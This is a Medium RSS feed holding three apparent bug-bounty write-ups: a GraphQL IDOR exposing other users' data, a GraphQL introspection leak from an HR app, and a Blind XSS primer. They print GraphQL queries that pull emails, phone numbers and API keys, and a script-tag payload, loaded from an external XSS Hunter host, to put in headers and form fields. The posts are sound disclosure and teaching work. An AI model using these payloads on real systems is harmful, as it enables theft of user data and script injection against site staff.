<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Eshan Singh on Medium]]></title>
        <description><![CDATA[Stories by Eshan Singh on Medium]]></description>
        <link>https://medium.com/@r0x4r?source=rss-b49774416e0a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*faoFins6d88KH1LKayLdng.jpeg</url>
            <title>Stories by Eshan Singh on Medium</title>
            <link>https://medium.com/@r0x4r?source=rss-b49774416e0a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 00:34:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@r0x4r/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[GraphQL IDOR leads to information disclosure]]></title>
            <link>https://infosecwriteups.com/graphql-idor-leads-to-information-disclosure-175eb560170d?source=rss-b49774416e0a------2</link>
            <guid isPermaLink="false">https://medium.com/p/175eb560170d</guid>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[bug-hunter]]></category>
            <category><![CDATA[graphql]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Eshan Singh]]></dc:creator>
            <pubDate>Tue, 24 Dec 2019 18:25:16 GMT</pubDate>
            <atom:updated>2021-03-27T05:40:21.437Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6CzhXa1PKSErpb9m" /></figure><p>Hello World!, I’m Eshan Singh aka <em>R0X4R</em>. I’m here to share my recent findings on GraphQL IDOR (Insecure Direct Object Reference), which leads to information disclosure. So, let’s start. I’m signing in…</p><p><strong>What is GraphQL?</strong></p><p>The GraphQL Foundation defines “GraphQL is an open-source data query and manipulation language for APIs, and a runtime for fulfilling queries with existing data.” Nowadays, GraphQL is being used in place of Rest-API’s.</p><p><strong>Vulnerability</strong></p><p>While doing recon for redacted.com (A private program and as per their privacy policies, I cannot disclose their name), I found that the web app is using GraphQL for their API Management.</p><p>So, I firstly tried Introspection Query to extract sensitive information. After passing the query I saw a field called Users, so I pass</p><pre>Query: {__type (name: \”Users\”) {name fields{name type{name kind ofType{name kind}}}}}”}</pre><p>the query to enumerate the Types` definition in the field “Users”, then I saw _type “Users” contains some fields i.e., Email, mobile_number, user_id, location, and api_key. So, I pass one more query to extract information those fields carried but I got 403 Unauthorised response.</p><pre>Query: {Users{email,mobile_number,user_id,api_key}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*dyBdGiYnj6UbDD_J" /><figcaption>Source: <a href="https://imgflip.com/memetemplate/100827024/Sad-meme">https://imgflip.com/memetemplate/100827024/Sad-meme</a></figcaption></figure><p>So, I thought that this web app is not vulnerable, so I started hunting for XSS. I clicked on My Profile, then I edited my name and intercepted the request, then I saw something interesting; the web app extracts previous info of the user before requesting a new edit.</p><pre>Request: {“operationName”:”CurrentUserData”,”variables”:{“id”:” — base64 encode — “},”query”:”query CurrentUserData($id: ID!) {\n User(id: $id) {\n id\n email\n name\n mobile_number\n apiHostUrl\n SiteAdminUrl\n pages(first: 50) {\n nodes {\n id\n faviconUrl\n name\n code\n manageUrl\n __typename\n }\n __typename\n }\n __typename\n }\n}\n”}</pre><p>So, I sent that request to the repeater and in that request, there is a variable called “id”, which contains something in base64. So, I decode that base64 encoded string</p><pre>Decode: oph:cloud:redacted::user/p5yhwx30</pre><pre>First Account: r0x4r@hhacker.com</pre><pre>Second Account: bcr_rox4r@hacker.com</pre><p>“P5yhwx30” is my “id.” So, I created one more account on redacted.com and copied its “id: oph:cloud:redacted::user/d5mzk1m2”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/0*Sq50CD4kelmy8Ez_" /><figcaption>Source: <a href="https://winkgo.com/wp-content/uploads/2019/03/happy-memes-make-you-smile-more-02.jpg?ezimgfmt=ng:webp/ngcb3">https://winkgo.com/wp-content/uploads/2019/03/happy-memes-make-you-smile-more-02.jpg?ezimgfmt=ng:webp/ngcb3</a></figcaption></figure><p>Then I logged out from my second account and logged in with my first account. Now I pass the same query, but I changed my “id” with my second “id” and boom! I got the information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ey_gW0LYHE2BKpHK" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/0*74wh3Ph20avFkyEQ" /><figcaption>Source: <a href="https://me.me/i/oh-yeah-meme-creator-funny-oh-yeah-meme-generator-b8bd2dcfd4db44bb961bcd638a4b2659">https://me.me/i/oh-yeah-meme-creator-funny-oh-yeah-meme-generator-b8bd2dcfd4db44bb961bcd638a4b2659</a></figcaption></figure><p>But there’s a problem waiting for me that how I get another user “id.” So, after enumerating, I found that the “id” of the other users is in their profile page source code. I just have to go to their profile and view the source of their profile page, then I searched for “var_userID,” and I got their “id.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*YrgvT7H9ST_QFk9G.gif" /><figcaption>source: <a href="https://media1.tenor.com/images/17d912fad3b04c322b0c2678adeccf97/tenor.gif?itemid=10323706">https://media1.tenor.com/images/17d912fad3b04c322b0c2678adeccf97/tenor.gif?itemid=10323706</a></figcaption></figure><p><strong>Disclosure:</strong></p><p>Reported to redacted.com on 15 Nov 2019</p><p>They rewarded me with 3 Digits bounty on 07 Dec 2019.</p><p>Thanks and regards!</p><p>Eshan Singh aka R0X4R</p><p>Signing out…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=175eb560170d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/graphql-idor-leads-to-information-disclosure-175eb560170d">GraphQL IDOR leads to information disclosure</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GraphQL introspection leads to sensitive data disclosure.]]></title>
            <link>https://infosecwriteups.com/graphql-introspection-leads-to-sensitive-data-disclosure-714f1d9d9d4a?source=rss-b49774416e0a------2</link>
            <guid isPermaLink="false">https://medium.com/p/714f1d9d9d4a</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[graphql]]></category>
            <category><![CDATA[bug-bounty-hunter]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Eshan Singh]]></dc:creator>
            <pubDate>Wed, 30 Oct 2019 14:50:36 GMT</pubDate>
            <atom:updated>2020-07-11T04:30:48.875Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jtikZ8FzsZoir-qD" /><figcaption>source: lynda.com</figcaption></figure><p><strong>Introduction</strong></p><p>Hello World! I’m Eshan Singh, aka <strong><em>R0X4R</em></strong>. I’m that hacker teenager that your friends told you about. I hack web-server to make the system secure. I’m here to share my recent findings on GraphQL Introspection.</p><p><strong>What is GraphQL</strong></p><p>All of us know that Facebook uses its own query language to store its data properly. So, according to GraphQL.org GraphQL is a query language for APIs and a runtime for fulfilling those queries with your existing data. GraphQL provides a complete and understandable description of the data in your API, gives clients the power to ask for exactly what they need, and nothing more, makes it easier to evolve APIs over time, and enables powerful developer tools.</p><p><strong>About this vulnerability</strong></p><p>For Discovering this bug, I learned the fundamentals of GraphQL for at least 5–6 hours and read all other relevant bug reports, especially <strong><em>Namhamsec’s GraphQL CTF Challenge</em></strong>.</p><p>After that, I saw a new program on Bugcrowd, so I participated in it. They gave me a domain [let’s take the domain as <strong>example.com</strong> because the vulnerability hasn’t fixed yet], i.e. example.com. So I make an account on that domain, then fire burpsuite and added example.com for spidering; after 10–20 secs, I saw that the example.com/graphql, so I got an idea that example.com uses Graphql for their API management.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/0*yzk2WgL2FQHX6izR" /><figcaption>source: almostdumb.com</figcaption></figure><p><strong>Tools that I used in this</strong></p><ul><li>Burpsuite</li><li>Burpsuite Extensions — JSON Beautifier and GraphQL Raider</li><li>A Web Browser [Firefox] :P</li></ul><p><strong>How I got the vulnerability</strong></p><p>First I logged out and logged in again on example.com, then I went to the <strong><em>‘Update Profile’</em></strong> section and changed my name from Eshan Singh to Singh Eshan and clicked save. And, then intercepted that request and sent it repeater, then I saw something interesting i.e.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0CJPSuCZyo-Xe9nD" /></figure><p>__typename with PayRollAdmin, so I replaced it with xyz then I again send the request and then checked the response xyz reflects on PayRollAdmin place.</p><p>So, for digging more into this, I googled GraphQL Exploits, then I saw a Hackerone disclosed the vulnerability, i.e. <a href="https://hackerone.com/reports/291531">https://hackerone.com/reports/291531</a>. So I thought let’s try the same that this guy did on this report.</p><p>I googled Introspection GraphQL Payloads, and I got this from PayloadAllTheThings repo:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jJIe304ag5wD2eQn" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*WxjAOqUTAafECLC4" /></figure><p>Then I copied the payload and pasted it on graphql tab in burpsuite and sent the request, and walla! I got a juicy response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/0*X7Xw76Fs_f55rwGZ" /><figcaption>source: <a href="https://tenor.com/view/omg-oh-my-god-wow-gif-11411674">https://tenor.com/view/omg-oh-my-god-wow-gif-11411674</a></figcaption></figure><p>Impact of this</p><p>The application is basically used by payrolls and HR. So when I exploit it I was able to retrieve receipt of transactions and users passwords phone numbers and more</p><p>Thanks and regards</p><p>Eshan Singh [R0X4R]</p><p>Signing out…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=714f1d9d9d4a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/graphql-introspection-leads-to-sensitive-data-disclosure-714f1d9d9d4a">GraphQL introspection leads to sensitive data disclosure.</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to Blind XSS]]></title>
            <link>https://r0x4r.medium.com/introduction-to-blind-xss-417dcf9c842c?source=rss-b49774416e0a------2</link>
            <guid isPermaLink="false">https://medium.com/p/417dcf9c842c</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Eshan Singh]]></dc:creator>
            <pubDate>Sun, 01 Sep 2019 10:59:29 GMT</pubDate>
            <atom:updated>2019-10-16T06:19:47.397Z</atom:updated>
            <content:encoded><![CDATA[<h3>INTRODUCTION TO BLIND XSS</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vKarB_ugvQCk5hWipmQtMw.jpeg" /><figcaption>Cross-site Scripting</figcaption></figure><p>Last year I was scrolling my LinkedIn Profile feeds suddenly a post came in front of me. In that post, a Bug Hunter posted his PoC about how he found Blind-XSS in Spotify. I was surprised after hearing about BXSS. I was surprised at that moment after watching that there is another category of XSS which is known as BLIND XSS. Then my greed for collecting information about new hacking or exploitation techniques was increased, then I started researching BXSS. So in this post, I’m going to give all the information about the BXSS that I got.</p><p><strong>#! What is Cross-Site Scripting</strong></p><p>For me, Cross-Site Scripting is a type of Web Application Vulnerability that enables an attacker to inject scripts from client-side to web pages. This vulnerability is extremely dangerous for web applications attackers can Deface the whole page, they can redirect a from existing web page to another and also this is responsible for bypassing access controls. In 2017, XSS was still considered a major threat vector.</p><p>Mainly XSS are of 5 types that are:</p><p><strong>&lt;#!&gt; Persistent or Stored XSS [Most Dangerous]</strong></p><p><strong>&lt;#!&gt; Reflected or Non-Persistent XSS [Critical]</strong></p><p><strong>&lt;#!&gt; DOM Based XSS [Depends on Client Side to Execute]</strong></p><p><strong>&lt;#!&gt; Self XSS [Triggred Using Social Engineering]</strong></p><p><strong>&lt;#!&gt; Mutated XSS [Extremely Hard To Patch This]</strong></p><p>Now there is one more XSS that comes in the world known as Blind Cross-Site Scripting.</p><p><strong>#! Blind Cross-Site Scripting [BXSS]</strong></p><p>For me, Blind XSS is a type of Stored XSS in which the attacker’s input is saved by the server and is reflected in the developer’s application. Basically, the attacker’s payload is executed on the application used by team members or admins.</p><p>Attackers in BXSS inject their payload “blindly” on web pages that are likely to save their payload into the database (like contact forms, logs, etc.). Then, the attacker waits for a server-side user or team member [who deals with website databases] to open or trigger that script or payload to execute.</p><p><strong>#! Tools for Blind Cross-Site Scripting</strong></p><p>Normally I use XSSHunter for finding Blind XSS. There are more tools available on the Internet that are: Burp Collaborator, KnoXSS, bXSS Hunter and many more.</p><p><strong>#! How to send Blind XSS Payloads</strong></p><p>I generally replace my User-Agent [<em>Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0</em>] with my script [<em>“&gt;&lt;script src=</em><a href="https://r0x4r.xss.ht/"><em>https://r0x4r.xss.ht</em></a><em>&gt;&lt;/script&gt;</em>]. Use the User-Agent Switcher extension in Firefox to change or manipulate your user-agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*4XW1HYLWmgyuh--xKI5HzQ.png" /></figure><p>We also inject our payload in Referred/Origin Header or in cookies value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/399/1*7A1BU5bdkkH-Z8UUod4AwA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/1*wmMUBrbdr6NL6vk94-09YA.png" /></figure><p><strong>#! How I Was Able To Exploit bXSS In A Private Bug Bounty Program</strong></p><p>As this was a private program all illustrations of vulnerabilities will be represented with the host as example.com.</p><p>The application has a login page where users can use the credentials provided to sign-in the application using provided credentials.</p><p>After signing in into the account now we are able to send some feedback to the backend or the team who are reviewing it.</p><p>So, what I did was I checked the format of the form which is going to the backend. The form contains my IP Address, Preferred Language, User-agent, Name, Message, and Email ID. So I started injecting my bXSS script in all the fields except the field which contains email ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/0*vX52qZIEy-VwuRsi.jpeg" /></figure><p>After 5–10 mins an email arrived on my Mail Account that is from XSS Hunter and it says your payload is just triggered and that is the payload which I injected in Preferred Language field.</p><p><strong>#! Preventing Blind XSS Attacks</strong></p><p>The most effective way to accomplish this is by web developers who review the code and ensure that any user input is properly sanitized. If this is not done, there is a risk that any scripting tag is not scraped before the user’s input is stored or saved on the user’s browser, and as a result, your website or web application is vulnerable to XSS, Which includes blind XSS attacks.</p><p><strong>Other PoCs or Article about Blind XSS:</strong></p><p><a href="https://hackerone.com/reports/275518">https://hackerone.com/reports/275518</a></p><p><a href="https://medium.com/bugbountywriteup/blind-xss-for-beginners-c88e48083071">https://medium.com/bugbountywriteup/blind-xss-for-beginners-c88e48083071</a></p><p><a href="https://hackerone.com/reports/314126">https://hackerone.com/reports/314126</a></p><p><a href="https://thehackerblog.com/poisoning-the-well-compromising-godaddy-customer-support-with-blind-xss/">https://thehackerblog.com/poisoning-the-well-compromising-godaddy-customer-support-with-blind-xss/</a></p><p><a href="https://mhmdiaa.github.io/blind-xss-in-spotify/">https://mhmdiaa.github.io/blind-xss-in-spotify/</a></p><p><a href="https://www.youtube.com/watch?v=60lWtlWTa3I">https://www.youtube.com/watch?v=60lWtlWTa3I</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=417dcf9c842c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>